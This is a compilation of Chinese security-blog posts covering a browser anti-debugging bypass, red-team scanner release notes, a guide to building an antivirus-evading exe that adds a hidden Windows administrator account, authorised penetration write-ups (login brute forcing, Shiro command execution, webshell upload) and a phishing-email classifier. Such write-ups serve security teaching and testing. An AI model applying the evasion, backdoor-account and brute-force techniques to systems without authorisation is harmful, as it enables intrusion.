“转子女神” 作为一款聚焦信息收集与漏洞挖掘的网络安全工具，展现出较强的实用性与技术特色。其核心优势在于将智能路径勘探与深度数据分析相结合，通过精准的正则匹配逻辑高效提取网页敏感路径与接口，动态拼接变量的能力显著拓宽了信息收集的维度；对 JS 文件的深度解析功能，配合 AI 风险评估机制，能精准定位隐藏 API 及潜在漏洞，为漏洞挖掘提供明确方向；批量扫描与自动化信息抓取特性，大幅提升了处理海量目标的效率，而灵活的配置选项也使其能适应多样的网络场景。整体而言，工具在简化流程、提升效率上表现突出，为安全从业者提供了切实助力，

下载

转子女神下载地址:https://xsck.lanzouo.com/b00uz89l0f 密码:d901

往期推荐

Tide团队产品及服务

JS逆向-绕过无限debugger

Fri, 11 Jul 2025 17:30:00 +0800

原创 oh1inge 2025-07-11 17:30 山东

Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试

0x01 JS逆向-反调试

反调试就是实现防止他人调试、动态分析自己的代码

检测调试方法：

无限debugger技术
键盘监听（F12）
检测浏览器的高度插值
检测开发者人员工具变量是否为true
利用console.log调用次数
利用代码运行的时间差
利用toString
检测非浏览器

0x02 无限Debugger的原理与绕过

Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试，比如使用JavaScript Hook时，我们可以加入Debugger关键字，使其在关键的位置停下来，以便我们查找逆向突破口，但有时候Debugger会被网站开发者利用，使其成为阻挠我们正常调试的拦路虎。

0x03 案例介绍

案例源码如下：

html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>无限Debugger案例title>
head>
<h1 id="box">TIDEh1>
<body>
 <script type="text/javascript">
  setInterval(()=>{
      (function(a) {
          return (function(a) {
              return (Function('Function(arguments[0]+"' + a + '")()'))
          }
          )(a)
     }
     )('bugger')('de', 0, 0, (0,
     0));
}
, 1000);
 script>
body>
html>

此处我们打开刚刚我们搭建好的案例地址。一般操作和之前的网站没有什么不同。但是，一旦我们打开开发者工具，就会发现它立即进入了断点模式，如下图所示。此处我们并未设置任何断点，他就直接进入了断点模式，这时候我们点击恢复脚本执行按钮，尝试跳过这个断点继续执行，但结果仍会一次次的进入断点模式，无限循环下去，我们称这样的情况为无限debugger。

0x04 实现原理

首先我们要做的是找到无限Debugger的源头，上面的案例通过堆栈回溯，查看 debugger 是如何生成的。继续往上进行追溯，发现逻辑代码。

setInterval(()=>{
      (function(a) {
          return (function(a) {
              return (Function('Function(arguments[0]+"' + a + '")()'))
          }
          )(a)
     }
     )('bugger')('de', 0, 0, (0,
     0));
}
, 1000);

0x05 常见绕过方法：

因为debugger其实就是对应的一个断点，它相当于用代码显示的声明了一个断点，要解除它，我们只需要禁用这个断点就可以了。

1.1 禁用断点法

此处我们可在开发者工具右侧有一个禁用断点点击它，该按钮就会被激活，变成蓝色。这时我们再次点击恢复脚本执行按钮，跳过当前断点，页面就不会再进入到无限 debugger 的状态了。但这种全局禁用断点的一个弊端是，禁用之后，我们自身添加的断点也无法进行调试了，所有的断点都不会被执行。所以这种方法基本不用。

1.2 此处暂停法

将停用断点按钮关掉后，页面再次进入无限Debugger模式，此处我们可以尝试另一种方法来跳过这个无限 debugger。在debugger语句所在行的行号上单击鼠标右键，此时会出现一个快捷菜单。我们选择永不再此处暂停这个选项后，再次点击恢复脚本执行按钮，发现页面也没有再进入到无限 debugger 的状态了。

1.3 条件断点法

在JS代码 debugger 行数位置，鼠标右键添加条件断点，其中条件设为false再次点击恢复脚本执行按钮，发现页面正常执行。

1.4 本地覆盖法

另外我们可以通过源代码-工作区功能，将远程的Javascript文件替换成本地的JavaScript文件，此处绕过方法直接将其中的 debugger 这个关键字删除即可。此处我们点击存在无限debugger断点的js代码文件，右键选择替代内容

添加一个用于存放代码的文件夹后，根据上方的提示选择允许。此后，我们直接将存在debugger的语句注释掉，然后保存。再次刷新，发现debugger断点也已经跳出。

往期推荐

Tide团队产品及服务

无影v2.9.2发布—上线信息搜集等功能

Tue, 01 Jul 2025 09:01:00 +0800

原创重剑无锋 2025-07-01 09:01 山东

无影(TscanPlus) v2.9.2发布，上线信息搜集、新增poc、新增多服务弱口令破解、启发式扫描、IPv6支持、UDP扫描、批量ICP备案查询等功能。

【主要功能】 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、域名探测、网络空探等。

【辅助功能】 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成等。

2024年7月，正值2024国H前期，无影发布v2.2版，引发行业关注。时隔一年，无影又带着一些新功能来助力2025年国H，愿每名红队/蓝队成员都能被这个世界温柔以待。

1、软件使用

Github下载：https://github.com/TideSec/Tscanplus

软件基于Wails开发，可支持Windows/Mac/Linux等系统，下载即可使用。

2、近期新功能介绍

2.1 新增信息搜集功能模块

无影最初规划是只做主动资产探测，所以信息搜集并不在最初规划之内。但信息搜集模块是Github的issue和交流群里呼声最高、提需求最多的一项，所以应各位师傅需求，并参考slack和密探的界面和模式，便有了现在的信息搜集模块。

信息搜集模块内置了多个API查询接口，需要配置cookie的有四项（爱站、站长之家、风鸟、beianx），配置cookie后能搜集到更全面的信息，并可对cookie有效性进行验证。

2.2 新增达梦数据库、ActiveMQ、RabbitMQ等服务密码破解功能

为更方便的做好各类服务的弱口令检测，无影新增了达梦数据库、ActiveMQ服务、RabbitMQ服务、Kafka服务、Neo4j等服务的弱口令检查，以及Modbus、RMI、ADB等服务的未授权检测。

截止目前，无影已集成了46种服务和协议的密码破解功能。覆盖的服务包括SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等46种。

2.3 空间测绘支持多key轮询、多条查询

无影支持9种常见的空间测绘引擎的单独使用和数据聚合，目前也均已支持多key轮询，以防单key容易触发风控。且各种查询条件均支持多条语句同时查询。

2.4 内置poc新增113个总计2391个

无影依托于Tide安全文库http://wiki.tidesec.com/的技术支持，每月都会更新最新poc，目前内置poc累计2391个。

2.5 资产探测支持启发式扫描模式

无影参考gogo的启发式扫描原理，在v2.8.0版本之后也加入了启发式扫描，针对大网段的检测更高效而精准。

2.6 端口扫描支持UDP扫描、IPv6协议、防火墙检查等

当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。

另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，无影启用了防火墙检测功能。

在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。

2.6 支持ICP备案批量查询

为实现批量查询icp备案的功能，无影采用了轮询爱站、站长之家、beianx等api接口的方式，并使用了本地数据缓存的机制，大大提升了ICP备案查询的速度和准确度。

2.7 代理池增加无限轮询模式及免费代理爬取功能

代理池增加了几个免费代理API，就算不配置空间测绘key也可以尝试使用免费的代理，不过质量相对差一些。

另外代理池模式增加了无限轮询，在个人可保证代理质量的情况下，可以让代理池中的所有代理一直轮换使用。

2.8 web指纹检测性能优化及页面截图

目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。

2.9 前端页面布局调整增加TitleBar

调整优化页面部署，在标题栏增加CPU占用、程序重载、Slogan展示、快速主题切换、手动更新等按钮。

2.10 导出数据支持更多格式

所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。

3、其他已有功能

【特色功能】

1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。

3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。

4、内置34种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。

8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。

9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。

10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。

TscanPlus 更多其他功能介绍可参考文章：《TscanPlus——一款红队自动化工具》

4、软件下载

Github下载：https://github.com/TideSec/Tscanplus/releases

1、功能介绍和常见问题：https://github.com/TideSec/TscanPlus?tab=readme-ov-file#FAQ

2、启动报错相关问题合集：https://github.com/TideSec/TscanPlus/issues/226

3、程序闪退相关说明：https://github.com/TideSec/TscanPlus/issues/383

4、反馈Bug领取Key说明：https://github.com/TideSec/TscanPlus/issues/241

部分功能还在完善，目前暂不提供源码，这里打包了windows/mac版本的TscanPlus供下载。

本次编译的均为x64_AMD架构，有需要x86版本或ARM版的可到星球下载。

【转发本文章到朋友圈，获赞30个以上，截图发到"Tide安全团队"公众号后台，可获取一个key，解锁所有POC功能】

往期推荐

Tide团队产品及服务

https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

使用python生成添加管理员账户的exe

Fri, 13 Jun 2025 17:31:00 +0800

原创 komorebi 2025-06-13 17:31 山东

在渗透测试中，针对Windows服务器获取webshell后一般会考虑新建管理员账号（当然某些情况下可以直接读密码）登录rdp方便渗透，所以考虑自己做个免杀的exe来添加用户。

0x01 前言

在渗透测试中，针对Windows服务器获取webshell后一般会考虑新建管理员账号（当然某些情况下可以直接读密码）登录rdp方便渗透。目前来说，常见的使用net user（包括激活guest）以及复制net.exe重命名的方式大概率要被拦截，所以考虑自己做个免杀的exe来添加用户。

0x02 使用的相关函数

查阅资料发现在微软官方api介绍文档中，有两个函数值得关注

NetUserAdd 函数: NetUserAdd 函数添加用户帐户并分配密码和特权级别。即可以用这个函数实现系统账号添加。
NetLocalGroupAddMembers 函数： NetLocalGroupAddMembers 函数将一个或多个现有用户帐户或全局组帐户的成员身份添加到现有本地组。函数不会更改当前是本地组成员的用户或全局组的成员身份状态。这两个函数是Windows官方API，调用它们不像执行net user 这种命令那样明显，不容易被安全软件拦截或标记为恶意行为。而且我们可以写代码灵活控制，那么接下来就用这两个函数尝试一下生成一个exe。

0x03 NetUserAdd 函数

这个函数就像我们在“控制面板”里点“添加新用户”一样，NetUserAdd是给程序员用的“添加用户”的工具，它可以让程序通过代码方式，自动在系统里加一个用户，并设定用户名、密码、权限等信息。

c++语法

NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  [in]  LPCWSTR servername,
  [in]  DWORD   level,
  [in]  LPBYTE  buf,
  [out] LPDWORD parm_err
);

参数

[in] servername

指向常量字符串的指针，该字符串指定要对其执行函数的远程服务器的 DNS 或 NetBIOS 名称。如果此参数为 NULL，则使用本地计算机。

如果定义了 _WIN32_WINNT 或 FORCE_UNICODE ，则此字符串为 Unicode。

[in] level 指定数据的信息级别。此参数的取值可为下列值之一：

值	含义
1	指定有关用户帐户的信息。 buf 参数指向USER_INFO_1结构。指定此级别时，调用会将某些属性初始化为其默认值。
2	指定第一级信息和有关用户帐户的其他属性
3	指定有关用户帐户的二级信息和附加属性。此级别仅在服务器上有效。 buf 参数指向USER_INFO_3结构。请注意，建议改用 USER_INFO_4 。
4	指定有关用户帐户的二级信息和附加属性。buf 参数指向USER_INFO_4结构。Windows 2000：不支持此级别。

[in] buf

指向指定数据的缓冲区的指针。此数据的格式取决于级别参数的值。

[out] parm_err

指向一个值的指针，该值接收导致ERROR_INVALID_PARAMETER的用户信息结构第一个成员的索引。如果此参数为 NULL，则错误时不会返回索引。

返回值

如果函数成功，则返回值NERR_Success。

在python中的函数原型定义

netapi32.NetUserAdd.argtypes = [
    wintypes.LPWSTR,  # servername
    wintypes.DWORD,   # level
    ctypes.POINTER(USER_INFO_1),  # buf
    wintypes.PDWORD   # parm_err
]
netapi32.NetUserAdd.restype = wintypes.DWORD

0x04 NetLocalGroupAddMembers 函数

NetLocalGroupAddMembers 是用来把用户加入到某个本地用户组里的。通俗来说Windows 里有“管理员”、“普通用户”等用户组，这个函数就像是帮我们把某个用户加入到某个组，让他拥有那个组对应的权限。比如我们用 NetUserAdd 创建了个用户叫 testuser，再用 NetLocalGroupAddMembers 把他加进 “Administrators” 组，那这个用户就有管理员权限了。

c++语法

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  [in] LPCWSTR servername,
  [in] LPCWSTR groupname,
  [in] DWORD   level,
  [in] LPBYTE  buf,
  [in] DWORD   totalentries
);

参数

[in] servername 指向常量字符串的指针，该字符串指定要对其执行函数的远程服务器的 DNS 或 NetBIOS 名称。如果此参数为 NULL，则使用本地计算机。
[in] groupname 指向常量字符串的指针，该字符串指定指定用户或全局组将添加到的本地组的名称。
[in] level 指定数据的信息级别。此参数的取值可为下列值之一：

值	含义
0	指定新本地组成员的安全标识符 (SID) 。 buf 参数指向LOCALGROUP_MEMBERS_INFO_0结构的数组。
3	指定新本地组成员的域和名称。 buf 参数指向LOCALGROUP_MEMBERS_INFO_3结构的数组。

[in] buf 指向缓冲区的指针，该缓冲区包含新本地组成员的数据。此数据的格式取决于级别参数的值。
[in] totalentries 指定 buf 参数指向的缓冲区中的条目数。

返回值

如果函数成功，则返回值NERR_Success。

在python中的函数原型定义

netapi32.NetLocalGroupAddMembers.argtypes = [
wintypes.LPWSTR, # servername
wintypes.LPWSTR, # groupname
wintypes.DWORD, # level
ctypes.POINTER(LOCALGROUP_MEMBERS_INFO_3), # buf
wintypes.DWORD # totalentries
]
netapi32.NetLocalGroupAddMembers.restype = wintypes.DWORD

0x05 利用python实现调用api创建账户

通过学习微软官方介绍文档，我们可以尝试使用python在Windows 系统上创建一个管理员用户。根据资料，上文中提到的NetUserAdd和NetLocalGroupAddMembers位于 netapi32.dll中，该dll文件是 Windows 系统中的一个重要动态链接库，它提供了网络管理相关的 API 函数。它具备一些用户管理功能： NetUserAdd: 用于创建新的用户账户 NetLocalGroupAddMembers: 用于将用户添加到本地组（如管理员组），那么我们可以利用该文件中的函数来管理用户和组。我们可以尝试利用python实现一下上面两个函数的相关功能。创建用户的代码：添加到管理员组：

0x06 适当增加免杀技术

除了上文代码中已经体现的添加随机延迟外，我们可以再适当增加一些免杀技术，比如字符串混淆、进程名随机化等等。

字符串混淆：

字符串混淆非常重要，是免杀的“基本功”，否则杀软或逆向时可直接检查到可执行文件中的敏感字符串。

进程名随机：

使用进程名随机可以绕过杀软白名单机制，如果我们用固定进程名打包，杀软可通过哈希、路径、文件名等特征识别，随机名就打乱了这种匹配。

增加一些反调试技术

如果不增加一些反调试技术，那么如果遇到杀软或人工分析时，可以轻易看到程序调用了NetUserAdd、NetLocalGroupAddMembers，再结合行为判断就可能查杀。

0x07 生成exe测试

现在让我们打包py脚本测试一下生成的exe能否正常运行对于某绒的免杀效果还是可以的对于某数字的免杀效果可过静态但被行为拦截了，还是有待改进~

0x08 参考资料

https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3

https://github.com/newsoft/adduser

细心给你好运-记两次渗透实战

Fri, 23 May 2025 17:31:00 +0800

原创 Sp1ke 2025-05-23 17:31 山东

分享两次渗透实战，重新温习下js逆向免脚本爆破技巧，互鉴互学，共同进步

0x01 转角遇shell

背景

参与项目许久，资产列表不刷新，实在整不出什么花活了，开始仔细看资产

测试

按照惯例对资产列表使用Tscan进行信息收集，一个系统进入我的视线，开启端口扫描，访问系统：

停用公告？为什么停用没有下架呢？直觉告诉我有问题，注意到网页最下面一行貌似还有字，再结合这个夸张的构图比例，看看手机模式下长什么样吧，打开设备仿真

没有什么有用信息，好像只是一静态页面，回头看看端口，开放了1234和5678端口？有点意思，看看1234端口的服务

标准的登录页，弱口令测试无果；看看登录数据包，尝试去爆破

好家伙，验证码都不用绕了，直接逆向js加密逻辑即可，我一般习惯搜索

encrypt(

，大部分情况可以快速定位到加密函数

经典aes，cbc，zeropadding加密模式，key和iv同为参数o，用wt-js测试也对上了，顺带生成加密方案脚本。

使用burpCrypto插件，为防读者有人没用过这个插件，附上操作说明

固定admin用户来爆破密码，只需在payload处理中勾选调用burp扩展，选择新加的处理器就可以了

成功收获弱口令x1

一枚弱口令怎么够塞甲方dad的牙缝，对1234端口进入后台渗透未果后回头再看看5678端口，又是经典spring报错界面，本来想扫描看看有没有actuator泄露，一番测试后发现一个这玩意儿：

http://ip/index

觉得应该是为本系统提供服务的另一个服务端，得到授权后继续进一步渗透该serviceurl目标

发现swagger文档

水洞这不就来了嘛（喜）

进一步调试swagger接口，使用swagger-hack，狗运开始发力

获得实时定位等大量敏感信息x1

觉得还不够，又翻到

http://ip//account/user

端口，响应出现熟悉的deleteMe，shiroattack尝试一把梭，命令执行x1

下机~

0x02 重逢银光

背景

去年在同一ip交出几个漏洞后，今年又和该项目相逢，周转了一周时间在发现只有一些以前没修好的弱口令和一些无意义的泄露水洞外一无所获

测试

在我对该ip的几个web服务愁眉苦脸时，我注意到了一些去年发现但当时并没有留意的服务，访问页面，只有以下内容

关键字：Microsoft sliverlight

什么是Microsoft sliverlight？

Silverlight是微软所发展的 Web 前端应用程序开发解决方案，是微软丰富型互联网应用程序（Rich Internet Application）策略的主要应用程序开发平台之一，以浏览器的外挂组件方式，提供 Web 应用程序中多媒体（含影音流与音效流）与高度交互性前端应用程序的解决方案，同时它也是微软 UX（用户经验）策略中的一环，也是微软试图将美术设计和程序开发人员的工作明确切分与协同合作发展应用程序的尝试之一。

一句话，对标flash，在电脑下载插件做更强的网页应用。

但是对标flash，这个年代怕是有点久远。果然，让我搜到了一篇2011年的学习笔记

一个想法出现在我脑海中，既然是这么久远的版本，那我切换ie兼容模式看看呢？下载插件后我打开了ie兼容模式，眼前一亮

太好了是登录框，我们有救了

于是输入账号密码开始尝试抓包，？，为什么没有抓到包，怀疑是ie兼容模式的问题，上网搜索解决方案，参考https://blog.csdn.net/m0_56147044/article/details/146919837 解决抓包问题。

系统登录依旧采用aes加密，如0x01相同操作js逆向即可解密，爆出弱口令admin/qwe123

一眼发现系统存在数据查询模块，再一眼，直接执行sql进行查询？我心想那这不直接结束了，这种老系统采用的一般都是.net/mssql架构，而mssql权限足够可以直接rce，尝试执行sql

那没事了，再翻一翻功能点，万一有上传呢？

好消息是找到了，坏消息是上传失败了，看看数据包吧

提示为

未能找到路径“xx”的一部分

，留意到数据包存在path参数，难道是这个？

置空path后，上传成功且路径全回显，经测试后缀无任何过滤，拿到webshell，成功下机

0x03 总结

回过头来看这两次测试在攻击方面也没什么特殊的地方，重点在于细心，在一般渗透时我碰到5678端口的index页面中的url很少去考虑它的后续操作，也很少去下载页面组件去进一步渗透，从而丢失了扩展攻击面的机会；这次在授权下展开了比较丝滑的后续渗透，且重温了js逆向免脚本爆破的办法。怎么去挖难啃的项目？没有一把梭没有批量测，只有比谁的心更细。

往期推荐

Tide团队产品及服务

AI在网络安全中的应用之钓鱼邮件检测

Fri, 09 May 2025 17:05:00 +0800

原创 swordlover 2025-05-09 17:05 山东

近期邮箱开始疯狂收到垃圾邮件，其拦截器机制结合ai技术比较有意思，并学习分享下

0x01 前言

为什么写这个呢，源自于我之前在某教培网站留了信息，不出意外的个人信息泄露的飞快，邮箱开始疯狂收到垃圾邮件甚至钓鱼邮件，看着每天的拦截消息，就在想这个拦截机制挺好玩的，拦截器是怎么知道是不是正常邮件呢，结合现在AI有些爆火，于是就学习一下。

此处也建议大家尽量不要去在网站上留个人信息，最好去找一些有实体公司的中介或者机构，网上的大部分都是第三方平台，他们收到信息就会推到所有合作的机构手里，个人信息就满天飞啦~啦~啦~

0x02 先来思考

我们如何判断一封邮件是钓鱼邮件还是正常邮件呢？像这种

那么我们可以从邮件内容看出来，钓鱼邮件的内容通常是用一两句我们认为比较重要的提示信息+诱导点击链接。但是，只要出现特征点就一定是吗，当然不是。比如这种就是正常邮件：

所以此时就要引出神秘的三人组：权重、激活函数、阈值

0x03 神秘三幻神：权重、激活函数、阈值

权重：表示特征点重要程度，就像比如当我们看到“bo彩”就会知道这一定不是什么好内容。

激活函数：作用是将加权信号转换为输出信号。人话就是把一堆特征点算出来的值通过线代求和的方式变成一个值。

阈值：通过激活函数出来的值如果大于阈值，则输出为aaa，否则输出为bbb。这样经过权重的加持下，就可以友好的避免了误伤，文字有点难理解了，那我们就看个表

可以看到，我们给予"点击查看"的权重为3，"更新"为2，而这，就组成了激活函数y=3a+2b，当计算值为5的时候达到阈值，判断为钓鱼邮件。那么一个新的问题，现在的钓鱼手段层出不穷，对于特征点的权重和阈值也需要实时更新才可以，这里就要提到AI在网络安全领域里的第一个例子-感知机

0x04 感知机（嗯。。赶只鸡？）

何为感知机？

感知机是模仿人类神经元的一个二分类模型，将输入值做线性代数运算求和，并在达到一定值时激活函数从而得出结论。就像人类，看到红色的软妹币大脑就会刺激我们开心，但是打开看到的是印着玉皇大帝的时候又会刺激我们做出愤恨的情绪一样。那感知机如何做到实时更新的能力呢？他的运转过程大概如下： 1、将权重初始化为预订值，通常为0 2、计算每个训练样本x，并输出y(结论) 3、根据样本中预设的y与输出的y之间的差距更新权重

用感知机实现一下嘞

理论结束，开始实践。首先解决输入样本的问题，这次先做简单的样本尝试一下，特征点就采用“点击查看”和“更新”并预设邮件类型和特征点出现次数搞个一百来行（其实ai生成一下也行）。

输入样本搞定，然后使用pandas库的DataFrame提供文件加载能力，iloc函数提供数据提取能力，使用numpy库提供数学运算能力

import pandas as pd
import numpy as np
df = pd.read_csv('heihei.csv', encoding='gbk')# 读取数据集，注意文件路径是否正确，并指定正确的编码格式
y = df.iloc[:, 0].values
y = np.where(y == '钓鱼邮件', -1, 1)  # 此处的where函数由numpy提供，用于将类别转换成-1和+1
X = df.iloc[:, [1, 2]].values# 获取特征列（假设第2和第3列为特征）

人工智能嘛必须得训练一下

设定用来训练和预测的数据范围，这里为了看最终效果强制73分了，其实可以随机取70%做训练集。

split_index = int(len(X) * 0.7)# 取前70%为训练集
X_train, X_test = X[:split_index], X[split_index:]
y_train, y_test = y[:split_index], y[split_index:]
#随机取可以用：X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)

输入都完事了，开始实例化感知机，使用scikit-learn库提供感知机模型，给予他最大迭代次数70，学习率0.1，并初始化权重，看他经过训练最终权重会发生怎样的变化。

# 创建感知机实例，使用SGDClassifier模拟感知机行为
p = SGDClassifier(loss='perceptron', max_iter=70, eta0=1.0, learning_rate='constant', random_state=0)
#初始化权重
p.coef_ = np.zeros((1, X_train.shape[1]))
p.intercept_ = np.zeros(1)
# 训练模型
p.fit(X_train, y_train)

使用predict()方法预估值

y_pred = p.predict(X_test)

打印数据看看结果

可以看到结果正确率八成以上,并且权重完成了更新。

意犹未尽，继续思考

刚才说，这其实就是一个二分类模型，说白了就是把所有样本化成坐标然后一分为二，一半是钓鱼邮件、一半是正常邮件，用刚才的例子画成图：

这就有一个局限性，如果点变多了，可能无法找到可以一分为二的地方，就会产生无限震荡（挂了），且这是我提前预设好了特征点，而现在随着技术进步，显然已经不实用了，他应该可以自己从邮件里找到特征点，那么怎么才能解决这一堆的问题呢？

0x05 感知机究极进化

朴素贝叶斯

先看下贝叶斯公式

P(Ck∣x)：数据点 x 属于类别 Ck 的概率。
P(x∣Ck)：在类别 Ck 下，数据点 x 出现的概率。
P(Ck)：类别 Ck 的先验概率（即该类别在数据中的占比）。
P(x)：数据点 x 的概率（可忽略，因为对所有类别相同）。嗯。。把数学基础还给老师了。。。。还是用个例子说下

用相亲交友软件，假设坏人主页的常见词汇：“深夜”“寂寞”“约我”等，而正常用户中常见词汇：“读书”“认真”“吃苦”等。假设 **先验概率P(Ck)**：坏人占比：70%（即 P(坏人)=0.7）。正常用户占比：30%（即 P(正常)=0.3）。

条件概率：在坏人中，“寂寞”出现的概率：80%（即 P(寂寞∣坏人)=0.8）。在正常用户中，“寂寞”出现的概率：10%（即 P(寂寞∣正常)=0.1）。其他词汇的概率类似计算。当再出现一个用户写有”寂寞”“约我”“认真”这个词时，

预测坏人的概率就是： P(坏人|账号)=P(坏人)xP(寂寞|坏人)xP(约我|坏人)xP(认真|坏人)=0.7x0.8x0.7x0.2=0.0784，

预测正常用户的概率时： P(正常用户|账号)=P(正常用户)xP(寂寞|正常用户)xP(约我|正常用户)xP(认真|正常用户)=0.3x0.1x0.1x0.6=0.0018，那么这个账号大概率就是坏人。

而朴素贝叶斯算法，可以动态识别钓鱼邮件中的可以关键字，加上贝叶斯公式的原理，做到动态识别，精准分析。

朴素贝叶斯钓鱼邮件检测器的实现

理论结束，实践开始，首先还是要解决样本问题，这次，我们只需要做出样本的分类和内容就行，大概长这样：

# 导入必要的库
import matplotlib.pyplot as plt  # 用于绘图
import csv  # 用于处理CSV文件
from textblob import TextBlob  # 用于自然语言处理
import pandas as pd  # 数据处理库
import sklearn  # 机器学习库
import numpy as np  # 数值计算库
import nltk  # 自然语言工具包
# 加载数据集，指定正确的编码格式
sms = pd.read_csv('yangben.csv', sep=',', names=["type", "text"], encoding='gbk')  # 读取CSV文件
# 数据集划分：将数据分为训练集和测试集
text_train, text_test, type_train, type_test = train_test_split(sms['text'], sms['type'], test_size=0.3, random_state=42)

使用sklearn.naive_bayes中的MultinomialNB实现一个基于贝叶斯的分类器

from sklearn.naive_bayes import MultinomialNB # 多项式朴素贝叶斯分类器
spam_detector = MultinomialNB().fit(sms_tfidf, type_train)# 模型训练：使用多项式朴素贝叶斯分类器训练模型

使用 sklearn.feature_extraction.text 中的 CountVectorizer为为文本中每个识别词标记一个数字，并使用get_lemmas提取

bow = CountVectorizer(analyzer=get_lemmas).fit(text_train)  # 使用词袋模型提取特征
sms_bow = bow.transform(text_train)  # 将训练文本转换为词袋表示
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer # 文本向量化工具
from defs import get_tokens, get_lemmas # 获取分词和词形还原的函数

因为邮件有长有短，文件中出现过多词会影响计算，就需要使用scikit-learn 中的TfidfTransformer() 将词频计数转换为 TF-IDF (Term Frequency-Inverse Document Frequency) 值，从而把词频归一化并加权。

TF (Term Frequency)：词频f(t,d)，表示一个词在文档中出现的频率归一化(Normalization)：tf(t,d) = f(t,d) / sqrt(sum(f(t,d)^2 for all t in d))，使不同特征在同一尺度上，便于比较和机器学习算法处理 IDF (Inverse Document Frequency)：idf(t) = log((n + 1) / (df(t) + 1)) + 1逆文档频率，衡量一个词的普遍重要性 TF-IDF 计算：tfidf(t,d) = tf(t,d) * idf(t)TF-IDF 计算：tfidf(t,d) = tf(t,d) * idf(t)

tfidf = TfidfTransformer().fit(sms_bow)  # 计算TF-IDF权重
sms_tfidf = tfidf.transform(sms_bow)  # 将词袋表示转换为TF-IDF表示

然后先预测一行数据，如第45行为例子，看是否正确

没啥毛病，开始完整预测测试集

# 对测试集进行特征提取和预测
text_test_bow = bow.transform(text_test)
text_test_tfidf = tfidf.transform(text_test_bow)
predictions = spam_detector.predict(text_test_tfidf)

参数解释： precision(精确率)：钓鱼邮件样本7个，预测到4个，4个均是钓鱼邮件，精确率100% recall(召回率):钓鱼邮件样本7个，预测到4个，召回率57% f1-score(调和平均值):F1 = 2 × (1.0 × 0.57) / (1.0 + 0.57)=0.73 support(支持):样本数量 Macro Avg (宏平均):对每个类别的精确率、召回率和F1分数取平均值 Weighted Avg (加权平均):对每个类别的精确率、召回率和F1分数按支持度加权取平均值。

可以看到最终准确率也是高达9成。

0x06 总结

钓鱼邮件攻击手段日益复杂，传统规则检测已不足以应对。未来需结合AI检测、用户教育、企业安全策略等多层防御，才能有效降低风险。机器学习（如BERT、异常检测）在钓鱼邮件识别中表现优异，但仍需不断优化以应对新型攻击手法并且我们自身也需要不断提高安全意识。

最后梦幻联动一下随梦老师的文章--记一次钓鱼实例分析，如果对分析溯源钓鱼邮件感兴趣的师傅，跳转食用。

往期推荐

Tide团队产品及服务

某实战项目登录口处的渗透测试

Wed, 30 Apr 2025 17:03:00 +0800

原创 khih 2025-04-30 17:03 山东

在某次实战项目测试过程中，发现登录口的加密逻辑可被利用，从而将这次比较有意思的渗透过程记录下来进行分享

0x01 背景

在测试开始之初，仅提供了目标系统的网址，并未直接给测试账号。这一情况使得我们将初步的测试重点聚焦于系统的 “忘记密码” 功能模块，希望通过此模块的相关测试，为后续进一步深入的渗透测试工作打开局面。

0x02 初识登录口：

问题一：

忘记密码处输入用户账号如user后发送数据包后后端会显示账号带有user的其他用户信息(如显示user1或adminuser)。此处猜测后端对用户输入账号进行了通配符匹配，例如%user%。

问题二：

